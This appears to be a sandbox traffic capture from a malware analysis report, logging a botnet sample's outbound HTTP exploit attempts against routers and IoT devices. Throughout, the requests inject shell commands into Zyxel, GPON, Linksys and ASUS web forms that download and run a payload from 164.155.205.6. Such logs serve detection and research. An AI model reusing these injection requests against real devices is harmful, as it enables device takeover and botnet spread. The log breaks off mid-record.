Mar 2, 2024 12:38:35.077613115 CET	681	IN	HTTP/1.1 404 Not Found Server: xhmmhttpsv130-20200310 Date: Sat, 02 Mar 2024 19:38:34 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 63 63 39 39 39 39 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 0a 20 20 20 20 3c 68 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 20 20 20 20 3c 68 72 3e 0a 0a 20 20 20 20 3c 61 64 64 72 65 73 73 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 78 68 6d 6d 68 74 74 70 73 76 31 33 30 2d 32 30 32 30 30 33 31 30 3c 2f 61 3e 3c 2f 61 64 64 72 65 73 73 3e 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>404 Not Found</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>404 Not Found</h4>File not found. <hr> <address><a href="http://www.acme.com/software/mini_httpd/">xhmmhttpsv130-20200310</a></address> </body></html>
Mar 2, 2024 12:38:35.720969915 CET	681	IN	HTTP/1.1 404 Not Found Server: xhmmhttpsv130-20200310 Date: Sat, 02 Mar 2024 19:38:34 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 63 63 39 39 39 39 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 0a 20 20 20 20 3c 68 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 20 20 20 20 3c 68 72 3e 0a 0a 20 20 20 20 3c 61 64 64 72 65 73 73 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 78 68 6d 6d 68 74 74 70 73 76 31 33 30 2d 32 30 32 30 30 33 31 30 3c 2f 61 3e 3c 2f 61 64 64 72 65 73 73 3e 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>404 Not Found</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>404 Not Found</h4>File not found. <hr> <address><a href="http://www.acme.com/software/mini_httpd/">xhmmhttpsv130-20200310</a></address> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1595	192.168.2.23	49078	200.236.2.22	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.784903049 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1596	192.168.2.23	43678	212.156.150.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.939722061 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:36.091067076 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:36.307375908 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:36 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1597	192.168.2.23	33012	141.145.21.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.953946114 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:35.831103086 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:36.854958057 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:37.019892931 CET	151	IN	HTTP/1.0 302 Moved Temporarily Location: https:///GponForm/diag_Form?images/ Server: BigIP Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1598	192.168.2.23	38812	218.40.197.97	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:34.977457047 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:35.238311052 CET	404	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:35 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1599	192.168.2.23	36552	172.65.179.143	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.190377951 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1600	192.168.2.23	53440	172.67.166.188	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.371967077 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1601	192.168.2.23	33152	172.65.38.29	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.375741959 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1602	192.168.2.23	37740	172.67.163.85	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.375868082 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1603	192.168.2.23	33312	98.175.44.132	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.432312965 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1604	192.168.2.23	50276	184.95.60.91	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.455774069 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1605	192.168.2.23	43148	212.40.146.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.458616018 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:47.694988966 CET	54	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 31 62 35 30 61 32 32 3a 38 38 39 30 5d 20 7b 70 65 65 72 7d 20 54 43 50 20 72 65 74 72 61 6e 73 6d 69 74 20 74 69 6d 65 6f 75 74 Data Ascii: BIG-IP: [0x1b50a22:8890] {peer} TCP retransmit timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port
1606	192.168.2.23	41744	51.211.174.235	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.484081030 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:36.763010979 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:36.998281002 CET	499	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:36 GMT X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 2, 2024 12:38:41.621830940 CET	499	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:36 GMT X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Mar 2, 2024 12:38:50.797214031 CET	499	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:36 GMT X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1607	192.168.2.23	53452	172.67.166.188	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:35.525038958 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:35.821243048 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1608	192.168.2.23	53258	172.87.202.230	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:36.290817022 CET	425	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:40.406502962 CET	425	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:46.549638033 CET	425	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 